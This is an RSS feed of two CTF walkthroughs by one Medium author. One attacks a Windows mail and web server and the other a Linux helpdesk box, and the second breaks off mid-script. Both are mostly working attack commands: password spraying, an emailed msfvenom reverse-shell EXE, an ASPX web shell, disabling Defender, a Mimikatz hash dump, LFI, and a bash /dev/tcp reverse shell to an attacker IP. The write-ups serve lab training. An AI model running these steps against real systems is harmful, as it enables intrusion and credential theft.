<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by joseml on Medium]]></title>
        <description><![CDATA[Stories by joseml on Medium]]></description>
        <link>https://medium.com/@josemlwdf?source=rss-1860d262d4c9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ie0x4fIyqlrStSHiZ-G4Cg.png</url>
            <title>Stories by joseml on Medium</title>
            <link>https://medium.com/@josemlwdf?source=rss-1860d262d4c9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 22:01:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@josemlwdf/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Evasive]]></title>
            <link>https://medium.com/@josemlwdf/evasive-77e46435914f?source=rss-1860d262d4c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/77e46435914f</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hack-smarter]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[joseml]]></dc:creator>
            <pubDate>Fri, 24 Oct 2025 12:19:19 GMT</pubDate>
            <atom:updated>2025-11-03T10:18:07.220Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BW40J0vl-yi_-izkeR4eew.png" /></figure><p>Evasive is a challenge from <a href="https://www.hacksmarter.org/events/7477259c-b9cc-40f5-8e32-866e2cc2cd44/take"><strong><em>HackSmarter.org</em></strong></a> and revolves around exploring a Windows-based email and web server environment to uncover sensitive information through a series of reconnaissance, enumeration, and exploitation steps. Participants interact with various services, extract documents, and pivot through user accounts to gain deeper access. The goal is to piece together clues from network protocols, shared files, and user communications to ultimately retrieve high-value data — all while maintaining stealth and precision.</p><h3><strong>ENUMERATION</strong></h3><p>Lets begin as always with an Nmap Scan:</p><pre>target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep &#39;tcp.*open&#39; | cut -d &#39;/&#39; -f 1 | tr &#39;\n&#39; &#39;,&#39; | sed s/,$//) -Pn -n -sVC $target</pre><p><a href="https://github.com/josemlwdf/CTFEnum">GitHub - josemlwdf/CTFEnum: CTF enumeration tool. It facilitates the Network Pentest</a></p><p><strong>ctfenum </strong>gave me this:</p><pre>PORT      STATE SERVICE       VERSION<br>80/tcp    open  http          Microsoft IIS httpd 10.0<br>| http-methods:<br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: IIS Windows Server<br>110/tcp   open  pop3          hMailServer pop3d<br>|_pop3-capabilities: UIDL USER TOP<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>143/tcp   open  imap          hMailServer imapd<br>|_imap-capabilities: ACL IMAP4 SORT IMAP4rev1 NAMESPACE QUOTA IDLE completed CAPABILITY OK CHILDREN RIGHTS=texkA0001<br>445/tcp   open  microsoft-ds?<br>587/tcp   open  smtp          hMailServer smtpd<br>| smtp-commands: winserver01.hs, SIZE 20480000, AUTH LOGIN PLAIN, HELP<br>|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=Winserver01<br>| Not valid before: 2025-10-11T15:07:11<br>|_Not valid after:  2026-04-12T15:07:11<br>| rdp-ntlm-info:<br>|   Target_Name: WINSERVER01<br>|   NetBIOS_Domain_Name: WINSERVER01<br>|   NetBIOS_Computer_Name: WINSERVER01<br>|   DNS_Domain_Name: Winserver01<br>|   DNS_Computer_Name: Winserver01<br>|   Product_Version: 10.0.20348<br>|_  System_Time: 2025-10-24T08:10:23+00:00<br>|_ssl-date: 2025-10-24T08:10:32+00:00; +1s from scanner time.<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc         Microsoft Windows RPC<br>49665/tcp open  msrpc         Microsoft Windows RPC<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49668/tcp open  msrpc         Microsoft Windows RPC<br>49669/tcp open  msrpc         Microsoft Windows RPC<br>49670/tcp open  msrpc         Microsoft Windows RPC<br>49672/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: winserver01.hs; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:<br>| smb2-time:<br>|   date: 2025-10-24T08:10:28<br>|_  start_date: N/A<br>| smb2-security-mode:<br>|   3:1:1:<br>|_    Message signing enabled but not required<br>======================================================================<br>[!] Attacking port 25<br>[!] SMTP<br>[!] msfconsole -q -x &quot;use auxiliary/scanner/smtp/smtp_enum;set RHOSTS 10.1.19.165;set UNIXONLY false;set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt;run;exit;&quot;<br>RHOSTS =&gt; 10.1.19.165<br>UNIXONLY =&gt; false<br>USER_FILE =&gt; /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt<br>[*] 10.1.19.165:25        - 10.1.19.165:25 Banner: 220 winserver01.hs ESMTP<br>[*] 10.1.19.165:25        - 10.1.19.165:25 could not be enumerated (no EXPN, no VRFY, invalid RCPT)<br>[*] 10.1.19.165:25        - Scanned 1 of 1 hosts (100% complete)<br>[*] Auxiliary module execution completed<br><br>======================================================================<br>[!] Attacking port 80<br>[!] Microsoft IIS server, Fuzzing for ASP, ASPX files.<br>[+] Microsoft-IIS/10.0<br>[!] Possible Technologies<br>[+] ASP.NET<br>[!] URL: http://10.1.19.165:80<br>[!] feroxbuster -u http://10.1.19.165:80 -w /opt/CTFEnum/CTFenum/mods/wordlist.txt -x aspx,php,asp,txt -t 100 --no-state --extract-links -C 400,401,403,404,501,502,503 -r -k -E -g -d 1 --silent<br><br>http://10.1.19.165/<br>http://10.1.19.165/?wsdl<br>http://10.1.19.165/?wsdl.aspx<br>http://10.1.19.165/?wsdl.php<br>http://10.1.19.165/?wsdl.asp<br>http://10.1.19.165/?wsdl.txt<br><br>======================================================================<br>[!] Attacking port 110<br>[!] POP<br>[!] You can try to bruteforce credentials.<br>hydra -l username -P passwords.txt -f $(IP) pop3 -V<br>======================================================================<br>[!] Attacking port 143<br>[!] IMAP<br>[!] https://book.hacktricks.xyz/network-services-pentesting/pentesting-imap<br>[!] If you get creds, use this client to dump the emails: https://github.com/josemlwdf/IMAP-Mail-Dumper<br>[!] msfconsole -q -x &#39;use auxiliary/scanner/imap/imap_version; set RHOSTS 10.1.19.165; set RPORT 143; run; exit&#39;<br>RHOSTS =&gt; 10.1.19.165<br>RPORT =&gt; 143<br>[+] 10.1.19.165:143       - 10.1.19.165:143 IMAP * OK IMAPrev1\x0d\x0a<br>[*] 10.1.19.165:143       - Scanned 1 of 1 hosts (100% complete)<br>[*] Auxiliary module execution completed<br><br><br>[!] Attacking port 445<br>[!] msfconsole -q -x &quot;use scanner/smb/smb_enumshares;set RHOSTS 10.1.19.165;set SMBPass ;set SMBUser Guest;set SMBDomain .;set LogSpider 0;set MaxDepth 0;set ShowFiles true;set SpiderShares true;run;exit;&quot;<br>[!] Enumerating Shares.<br><br>[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST<br>RHOSTS =&gt; 10.1.19.165<br>SMBPass =&gt;<br>SMBUser =&gt; Guest<br>SMBDomain =&gt; .<br>LogSpider =&gt; 0<br>MaxDepth =&gt; 0<br>ShowFiles =&gt; true<br>SpiderShares =&gt; true<br>[-] 10.1.19.165:139 - Login Failed: Unable to negotiate SMB1 with the remote host: Not a valid SMB packet<br>[!] 10.1.19.165:139 - peer_native_os is only available with SMB1 (current version: SMB3)<br>[!] 10.1.19.165:139 - peer_native_lm is only available with SMB1 (current version: SMB3)<br>/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator &#39;+&#39; and &#39;?&#39; was replaced with &#39;*&#39; in regular expression<br>[+] 10.1.19.165:139 - ADMIN$ - (DISK|SPECIAL) Remote Admin<br>[+] 10.1.19.165:139 - C$ - (DISK|SPECIAL) Default share<br>[+] 10.1.19.165:139 - docs - (DISK)<br>[+] 10.1.19.165:139 - IPC$ - (IPC|SPECIAL) Remote IPC<br>[*] 10.1.19.165:139 - Skipping ADMIN$<br>[+] 10.1.19.165:139 -  \\WINSERVER01\docs<br>===================<br><br> Type  Name                    Created                    Accessed                   Written                    Changed                    Size<br> ----  ----                    -------                    --------                   -------                    -------                    ----<br> FILE  mail_doc.pdf            2025-10-12T17:20:01+02:00  2025-10-12T17:20:03+02:00  2025-10-12T17:20:03+02:00  2025-10-12T17:20:03+02:00  1517<br> FILE  old_user_setup_doc.pdf  2025-10-12T17:19:29+02:00  2025-10-12T17:22:48+02:00  2025-10-12T17:22:48+02:00  2025-10-12T17:22:48+02:00  5185<br><br>[*] 10.1.19.165:139 - Skipping IPC$<br>[*] 10.1.19.165: - Scanned 1 of 1 hosts (100% complete)<br>[*] Auxiliary module execution completed</pre><p>The most important thing we got from this is that there are 2 files accessible on the SMB service without credentials, let’s go get them.</p><pre>smbclient -N //$(IP)/docs</pre><pre>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  .                                   D        0  Sun Oct 12 17:22:48 2025<br>  ..                                DHS        0  Sun Oct 12 23:11:59 2025<br>  mail_doc.pdf                        A     1517  Sun Oct 12 17:20:03 2025<br>  old_user_setup_doc.pdf              A     5185  Sun Oct 12 17:22:48 2025<br><br>                7863807 blocks of size 4096. 2091005 blocks available<br>smb: \&gt; mget *<br>Get file mail_doc.pdf? y<br>getting file \mail_doc.pdf of size 1517 as mail_doc.pdf (4.2 KiloBytes/sec) (average 4.2 KiloBytes/sec)<br>Get file old_user_setup_doc.pdf? y<br>getting file \old_user_setup_doc.pdf of size 5185 as old_user_setup_doc.pdf (14.3 KiloBytes/sec) (average 9.2 KiloBytes/sec)<br>smb: \&gt;</pre><p>let’s try to get some usernames from these files:</p><pre>exiftool *.pdf | grep Author</pre><pre>Author                          : alfonso@winserver01.hs<br>Author                          : roger@winserver01.hs</pre><p>So... we got 2 users. Let’s also check the content of the files.</p><blockquote><strong>old_user_setup_doc.pdf:</strong></blockquote><pre>For new users:<br>Please set them up with the default password of NewUser2024!<br>Sincerely,<br>Roger</pre><blockquote><strong>mail_doc.pdf:</strong></blockquote><pre>Hello Roger:<br>Can you send me the EXE program via email once you are done with it?<br>Sincerely,<br>Alfonso</pre><h3><strong>EXPLOITATION</strong></h3><p>Now that we have a password for new users and 2 usernames, let’s do some “<strong>password spray</strong>” with the password updated for the current year ;) <strong>:</strong></p><pre>nxc smb $(IP) -u users.txt -p &#39;NewUser2025!&#39;</pre><pre>SMB         10.1.19.165     445    WINSERVER01      [*] Windows Server 2022 Build 20348 x64 (name:WINSERVER01) (domain:Winserver01) (signing:False) (SMBv1:None)<br>SMB         10.1.19.165     445    WINSERVER01      [-] Winserver01\alfonso:NewUser2025! STATUS_LOGON_FAILURE<br>SMB         10.1.19.165     445    WINSERVER01      [+] Winserver01\roger:NewUser2025!</pre><p>OK. Now we have some <strong>creds</strong>, and from the files we recovered, the user <strong>alfonso </strong>is expecting an <strong>exe </strong>file by mail from our compromised user <strong>roger</strong>. Let’s create a gift for him and send it.</p><pre>msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=9999 -f exe -o reverse.exe</pre><pre>[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload<br>[-] No arch selected, selecting arch: x64 from the payload<br>No encoder specified, outputting raw payload<br>Payload size: 911 bytes<br>Final size of exe file: 7680 bytes<br>Saved as: reverse.exe</pre><p>Now let’s create some body for our mail:</p><pre>echo asd &gt; body.txt</pre><p>Finally we send the bomb usinf “<strong>swaks</strong>” LOL:</p><pre>swaks -t alfonso@winserver01.hs --from roger@winserver01.hs --attach @reverse.exe --server $(IP) --body @body.txt --header &quot;Subject: Staging Script&quot; --suppress-data -ap --auth-user roger@winserver01.hs --auth-password &#39;NewUser2025!&#39;</pre><pre>=== Trying 10.1.19.165:25...<br>=== Connected to 10.1.19.165.<br>&lt;-  220 winserver01.hs ESMTP<br> -&gt; EHLO PYTHON<br>&lt;-  250-winserver01.hs<br>&lt;-  250-SIZE 20480000<br>&lt;-  250-AUTH LOGIN PLAIN<br>&lt;-  250 HELP<br> -&gt; AUTH LOGIN<br>&lt;-  334 VXNlcm5hbWU6<br> -&gt; cm9nZXJAd2luc2VydmVyMDEuaHM=<br>&lt;-  334 UGFzc3dvcmQ6<br> -&gt; TmV3VXNlcjIwMjUh<br>&lt;-  235 authenticated.<br> -&gt; MAIL FROM:&lt;roger@winserver01.hs&gt;<br>&lt;-  250 OK<br> -&gt; RCPT TO:&lt;alfonso@winserver01.hs&gt;<br>&lt;-  250 OK<br> -&gt; DATA<br>&lt;-  354 OK, send.<br> -&gt; 4202 lines sent<br>&lt;-  250 Queued (1.203 seconds)<br> -&gt; QUIT<br>&lt;-  221 goodbye<br>=== Connection closed with remote host.</pre><p>Now we need to se up our <strong>metasploit </strong>listener:</p><pre>msfconsole -q -x &quot;use multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST 192.168.239.1; set LPORT 9999; set ExitOnSession false; set AutoRunScript post/windows/manage/migrate; run -z -j&quot;</pre><p>And we will receive our connection:</p><pre>[*] Using configured payload generic/shell_reverse_tcp<br>payload =&gt; windows/x64/meterpreter_reverse_tcp<br>LHOST =&gt; tun0<br>LPORT =&gt; 9999<br>ExitOnSession =&gt; false<br>AutoRunScript =&gt; post/windows/manage/migrate<br>[*] Exploit running as background job 0.<br>[*] Exploit completed, but no session was created.<br><br>[*] Started reverse TCP handler on 10.200.16.212:9999<br>msf exploit(multi/handler) &gt; [*] Session ID 1 (10.200.16.212:9999 -&gt; 10.1.19.165:49921) processing AutoRunScript &#39;post/windows/manage/migrate&#39;<br>[*] Running module against WINSERVER01 (10.1.19.165)<br>[*] Current server process: reverse.exe (5976)<br>[*] Spawning notepad.exe process to migrate into<br>[*] Spoofing PPID 0<br>[*] Migrating into 5008<br>[-] Could not migrate into process<br>[-] Exception: Rex::Post::Meterpreter::RequestError : core_migrate: Operation failed: 1300<br>[*] Meterpreter session 1 opened (10.200.16.212:9999 -&gt; 10.1.19.165:49921) at 2025-10-24 10:16:13 +0200<br><br>msf exploit(multi/handler) &gt; sessions 1<br>[*] Starting interaction with 1...<br><br>meterpreter &gt; getuid<br>Server username: WINSERVER01\alfonso</pre><p>Now this is was the hardest part for me, maybe a custom compilation of winpeas or other tools would give us a quick win but i got None so… i spent a lot of time to get this:</p><pre>meterpreter &gt; ls<br>Listing: C:\inetpub\wwwroot<br>===========================<br><br>Mode              Size   Type  Last modified              Name<br>----              ----   ----  -------------              ----<br>040777/rwxrwxrwx  0      dir   2025-10-12 23:20:58 +0200  aspnet_client<br>100666/rw-rw-rw-  703    fil   2025-10-12 23:20:09 +0200  iisstart.htm<br>100666/rw-rw-rw-  99710  fil   2025-10-12 23:20:09 +0200  iisstart.png<br><br>meterpreter &gt; shell<br>Process 5592 created.<br>Channel 1 created.<br>Microsoft Windows [Version 10.0.20348.4171]<br>(c) Microsoft Corporation. All rights reserved.<br><br>C:\inetpub\wwwroot&gt;icacls .<br>icacls .<br>. BUILTIN\Users:(OI)(CI)(M)<br>  BUILTIN\IIS_IUSRS:(OI)(CI)(RX)<br>  NT SERVICE\TrustedInstaller:(I)(F)<br>  NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)<br>  NT AUTHORITY\SYSTEM:(I)(F)<br>  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)<br>  BUILTIN\Administrators:(I)(F)<br>  BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)<br>  BUILTIN\Users:(I)(RX)<br>  BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)<br>  CREATOR OWNER:(I)(OI)(CI)(IO)(F)<br><br>Successfully processed 1 files; Failed processing 0 files<br><br>C:\inetpub\wwwroot&gt;echo &#39;test&#39; &gt; test.txt<br>echo &#39;test&#39; &gt; test.txt<br><br>C:\inetpub\wwwroot&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is 90AC-D439<br><br> Directory of C:\inetpub\wwwroot<br><br>10/24/2025  10:36 AM    &lt;DIR&gt;          .<br>10/12/2025  09:20 PM    &lt;DIR&gt;          ..<br>10/12/2025  09:20 PM    &lt;DIR&gt;          aspnet_client<br>10/12/2025  09:20 PM               703 iisstart.htm<br>10/12/2025  09:20 PM            99,710 iisstart.png<br>10/24/2025  10:36 AM                 9 test.txt<br>               3 File(s)        100,422 bytes<br>               3 Dir(s)   7,654,289,408 bytes free<br><br>C:\inetpub\wwwroot&gt;</pre><p>As we can see we have write permissions on the IIS server’s root folder. We can therefore put a reverse shell aspx there and get a shell as the service account. Let’s create the reverse shell:</p><pre>msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=8888 -f aspx -o reverse.aspx</pre><pre>[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload<br>[-] No arch selected, selecting arch: x64 from the payload<br>No encoder specified, outputting raw payload<br>Payload size: 779 bytes<br>Final size of aspx file: 5018 bytes<br>Saved as: reverse.aspx</pre><p>Now we uploaded it using our current meterpreter connection as alfonso:</p><pre>meterpreter &gt; upload reverse.aspx<br>[*] Uploading  : /home/think/CTF/HackSmarter/Evasive/reverse.aspx -&gt; reverse.aspx<br>[*] Uploaded 5.05 KiB of 5.05 KiB (100.0%): /home/think/CTF/HackSmarter/Evasive/reverse.aspx -&gt; reverse.aspx<br>[*] Completed  : /home/think/CTF/HackSmarter/Evasive/reverse.aspx -&gt; reverse.aspx</pre><p>We call the URL and finally we get our connection back on our new metasploit listener:</p><pre>curl $(IP)/reverse.aspx</pre><pre>msfconsole -q -x &quot;use multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST 192.168.239.1; set LPORT 8888; set ExitOnSession false; set AutoRunScript post/windows/manage/migrate; run -z -j&quot;</pre><pre>msf exploit(multi/handler) &gt;<br>[!] https://10.200.16.212:8888 handling request from 10.1.50.214; (UUID: a9btc354) Without a database connected that payload UUID tracking will not work!<br>[*] https://10.200.16.212:8888 handling request from 10.1.50.214; (UUID: a9btc354) Staging x64 payload (232028 bytes) ...<br>[!] https://10.200.16.212:8888 handling request from 10.1.50.214; (UUID: a9btc354) Without a database connected that payload UUID tracking will not work!<br>[*] Session ID 1 (10.200.16.212:8888 -&gt; 10.1.50.214:49837) processing AutoRunScript &#39;post/windows/manage/migrate&#39;<br>[*] Running module against WINSERVER01 (10.1.50.214)<br>[*] Current server process: w3wp.exe (1592)<br>[*] Spawning notepad.exe process to migrate into<br>[*] Spoofing PPID 0<br>[*] Migrating into 1608<br>[-] Could not migrate into process<br>[-] Exception: Rex::Post::Meterpreter::RequestError : core_migrate: Operation failed: 1300<br>[*] Meterpreter session 1 opened (10.200.16.212:8888 -&gt; 10.1.50.214:49837) at 2025-10-24 12:43:47 +0200<br><br>msf exploit(multi/handler) &gt; sessions 1<br>[*] Starting interaction with 1...<br><br>meterpreter &gt; getuid<br>Server username: IIS APPPOOL\DefaultAppPool</pre><h3>ROOT</h3><p>This user have always <strong>SeImpersonatePrivilege </strong>active so we just use meterpreter to exploit that:</p><pre>meterpreter &gt; getsystem<br>[-] Already running as SYSTEM<br>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM</pre><p>At this point, before using Mimikatz i’ll disable Defender, just to be sure it’ill succeed:</p><pre>Set-MpPreference -DisableRealtimeMonitoring $true</pre><p>Now for the rest since we are system with a meterpreter shell, let’s just load kiwi module (Mimikatz) and get the hash for the administrator:</p><pre>meterpreter &gt; load kiwi<br>Loading extension kiwi...<br>  .#####.   mimikatz 2.2.0 20191125 (x64/windows)<br> .## ^ ##.  &quot;A La Vie, A L&#39;Amour&quot; - (oe.eo)<br> ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )<br> ## \ / ##       &gt; http://blog.gentilkiwi.com/mimikatz<br> &#39;## v ##&#39;        Vincent LE TOUX            ( vincent.letoux@gmail.com )<br>  &#39;#####&#39;         &gt; http://pingcastle.com / http://mysmartlogon.com  ***/<br><br>Success.<br>meterpreter &gt; lsa_dump_sam<br>[+] Running as SYSTEM<br>[*] Dumping SAM<br>Domain : WINSERVER01<br>SysKey : e7083307e93d372584854070f734ae21<br>Local SID : S-1-5-21-875136113-1806174397-556431496<br><br>SAMKey : a565bc17ea0967702ebd6e0b7e35f04e<br><br>RID  : 000001f4 (500)<br>User : Administrator<br>  Hash NTLM: 4366ec0f86e29be2a4a5e87a1ba922ec</pre><p>For the last question, i’ve used the hint on the site after checking all the history files on the browsers of alfonso and to get an screenshot coulded solve the issue but for some reason it did not worked for me so… alfonso was already part of “Remote Desktop” users group but i did not had his password. Far from stealthy i just looked for a quick win and changed the password for the user, i coulded also use his hash to do this. I just RDP on the server as alfonso and the KeePass instance was unlocked allowing me to get his credit card number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*RnCRsQGScD6qEUTwUDo5mg.png" /></figure><p><strong>Congratulations! We have successfully completed this machine. Thank you for reading!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77e46435914f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HelpDesk]]></title>
            <link>https://medium.com/@josemlwdf/helpdesk-82434117ab58?source=rss-1860d262d4c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/82434117ab58</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[linuxworld]]></category>
            <dc:creator><![CDATA[joseml]]></dc:creator>
            <pubDate>Fri, 22 Aug 2025 09:58:34 GMT</pubDate>
            <atom:updated>2025-08-22T09:58:34.106Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/333/0*JmcPJ0CAnDxUINC4" /></figure><p>HelpDesk is an easy-level CTF box that revolves around a vulnerable ticketing system. Through basic web enumeration and exploitation, the attacker gains access to a command panel, escalates privileges via a misconfigured UNIX socket, and ultimately achieves root by abusing a dangerously permissive sudo rule tied to Python package installation. The box highlights the risks of insecure web features and poor privilege separation.</p><h3>ENUMERATION</h3><p>Lets begin as always with an Nmap Scan:</p><pre>target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep &#39;tcp.*open&#39; | cut -d &#39;/&#39; -f 1 | tr &#39;\n&#39; &#39;,&#39; | sed s/,$//) -Pn -n -sVC $target</pre><pre>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey:<br>| 256 b4:bc:42:f6:d0:a7:0d:fd:71:01:3d:8a:c5:0c:ac:e3 (ECDSA)<br>|_ 256 71:90:08:58:14:04:09:d5:cf:31:ee:87:17:ad:29:8f (ED25519)<br>80/tcp open http Apache httpd<br>|_http-server-header: Apache<br>|_http-title: HelpDesk Ticket System<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><blockquote><a href="https://github.com/josemlwdf/CTFEnum">https://github.com/josemlwdf/CTFEnum</a></blockquote><p><strong>ctfenum </strong>got me this</p><pre>[!] Attacking port 80<br>[!] Apache server, Fuzzing for PHP files.<br>[!] Unknown Server<br>[+] Apache<br>[!] URL: http://192.168.56.104:80<br>[!] feroxbuster -u http://192.168.56.104:80 -w /opt/CTFEnum/CTFenum/mods/wordlist.txt -x html,php,txt -t 100 - no-state - extract-links -C 400,401,403,404,501,502,503 -r -k -E -g -d 1 - silent<br>http://192.168.56.104/<br>http://192.168.56.104/debug.php<br>http://192.168.56.104/index.php<br>http://192.168.56.104/login.php<br>http://192.168.56.104/?wsdl<br>http://192.168.56.104/?wsdl.html<br>http://192.168.56.104/helpdesk/<br>http://192.168.56.104/ticket.php</pre><p>There were some credz here but just a rabbit hole:</p><blockquote>http://192.168.56.104/debug.php</blockquote><pre>[DEBUG] Connecting to internal dev server…<br>[DEBUG] Using creds: service_user:SuperSecretDev123!</pre><p>I have searched for hidden parameters:</p><pre>└─$ ffuf -u &#39;http://192.168.56.104/ticket.php?FUZZ=../../../../../../../../etc/passwd&#39; -w /opt/wordlists/parameters.txt -fs 204</pre><pre>url [Status: 200, Size: 2135, Words: 42, Lines: 41, Duration: 1685ms]</pre><h3>EXPLOITATION</h3><p>Using the LFI:</p><pre>└─$ curl &#39;http://192.168.56.104/ticket.php?url=../../../../../../../../etc/passwd&#39; -s | grep sh$</pre><pre>&lt;/style&gt;&lt;h1&gt;Ticket Viewer&lt;/h1&gt;&lt;h1&gt;Ticket Viewer&lt;/h1&gt;&lt;pre&gt;root:x:0:0:root:/root:/bin/bash<br>mrmidnight:x:1000:1000:MrMidnight:/home/mrmidnight:/bin/bash<br>helpdesk:x:1001:1001::/home/helpdesk:/bin/bash</pre><p>Nothing really exiting here so i pass to analyze the source code of the app.</p><pre>view-source:http://192.168.56.104/ticket.php?url=login.php</pre><pre>// Enable PHP error display for debugging (remove in production)<br>ini_set(&#39;display_errors&#39;, 1);<br>error_reporting(E_ALL);<br>// Stored credentials<br>$stored_user = &#39;helpdesk&#39;;<br>// SHA-512 hash for password: ticketmaster<br>$stored_hash = &#39;$6$ABC123$fLo2MacCV.XBQeRZtHWL2297q/fUBs/b8gOmvLGuiz7wDgl3MSWcOOSKnTbaNPoUMCmEpY1dlwuPKbAtIuoo6.&#39;;<br>// Handle login<br>if ($_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;) {<br>$user = $_POST[&#39;username&#39;] ?? &#39;&#39;;<br>$pass = $_POST[&#39;password&#39;] ?? &#39;&#39;;<br>if ($user === $stored_user &amp;&amp; crypt($pass, $stored_hash) === $stored_hash) {<br>$_SESSION[&#39;auth&#39;] = true;<br>header(&quot;Location: panel.php&quot;);<br>exit;<br>} else {<br>$error = &quot;Invalid username or password.&quot;;<br>}</pre><p>Thanks to the nice comment i did not had to crack the hash. We got some credz for the app</p><blockquote>helpdesk : ticketmaster</blockquote><p>In the panel we could execute remote commands</p><blockquote>http://192.168.56.104/panel.php</blockquote><h4>HelpDesk :: Remote Command Panel</h4><p>Let’s use the panel from curl. Much easier on the terminal :)</p><pre>└─$ curl &#39;http://192.168.56.104/panel.php&#39; -H &#39;Cookie: PHPSESSID=htjmv36or0573bpr3g50dcbesh&#39; -H &#39;Content-Type: application/x-www-form-urlencoded&#39; -d &#39;cmd=id&#39; -s | grep uid</pre><pre>&lt;pre&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><p>So i got a shell</p><pre>┌──(think㉿PYTHON)-[~/home]<br>└─$ curl &#39;http://192.168.56.104/panel.php&#39; -H &#39;Cookie: PHPSESSID=htjmv36or0573bpr3g50dcbesh&#39; -H &#39;Content-Type: application/x-www-form-urlencoded&#39; -d &#39;cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.1%2F6666%200%3E%261%22&#39;</pre><pre>└─$ nc -nlvp 6666<br>listening on [any] 6666 …<br>connect to [172.24.46.58] from (UNKNOWN) [172.24.32.1] 58231<br>bash: cannot set terminal process group (896): Inappropriate ioctl for device<br>bash: no job control in this shell<br>www-data@helpdesk:/var/www/html$ id<br>id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>www-data@helpdesk:/var/www/html$ hostname<br>hostname<br>helpdesk<br>www-data@helpdesk:/var/www/html$</pre><h3>ROOT</h3><p>I have found some scripts in /opt</p><pre>www-data@helpdesk:/opt/helpdesk-socket$ ls<br>total 16K<br>drwxr-xr-x 2 helpdesk helpdesk 4.0K Aug 22 07:27 .<br>drwxr-xr-x 4 root root 4.0K Aug 16 15:32 ..<br>-rwxr-xr-x 1 helpdesk helpdesk 158 Aug 16 15:32 handler.sh<br>srwxrwxrwx 1 helpdesk helpdesk 0 Aug 22 07:27 helpdesk.sock<br>-rw-r - r - 1 root root 184 Aug 16 15:44 serve.sh</pre><p>Let’s check them:</p><pre>www-data@helpdesk:/opt/helpdesk-socket$ cat serve.sh<br>#!/bin/bash<br>SOCKET=&quot;/opt/helpdesk-socket/helpdesk.sock&quot;<br>[ -e &quot;$SOCKET&quot; ] &amp;&amp; rm &quot;$SOCKET&quot;<br>/usr/bin/socat -d -d UNIX-LISTEN:$SOCKET,fork,mode=777 EXEC:/opt/helpdesk-socket/handler.sh</pre><p>If we can send commands to the socket, we can execute commands</p><pre>www-data@helpdesk:/opt/helpdesk-socket$ cat handler.sh<br>#!/bin/bash<br># Simple parser - executes anything sent over the socket (dangerous!)<br>read 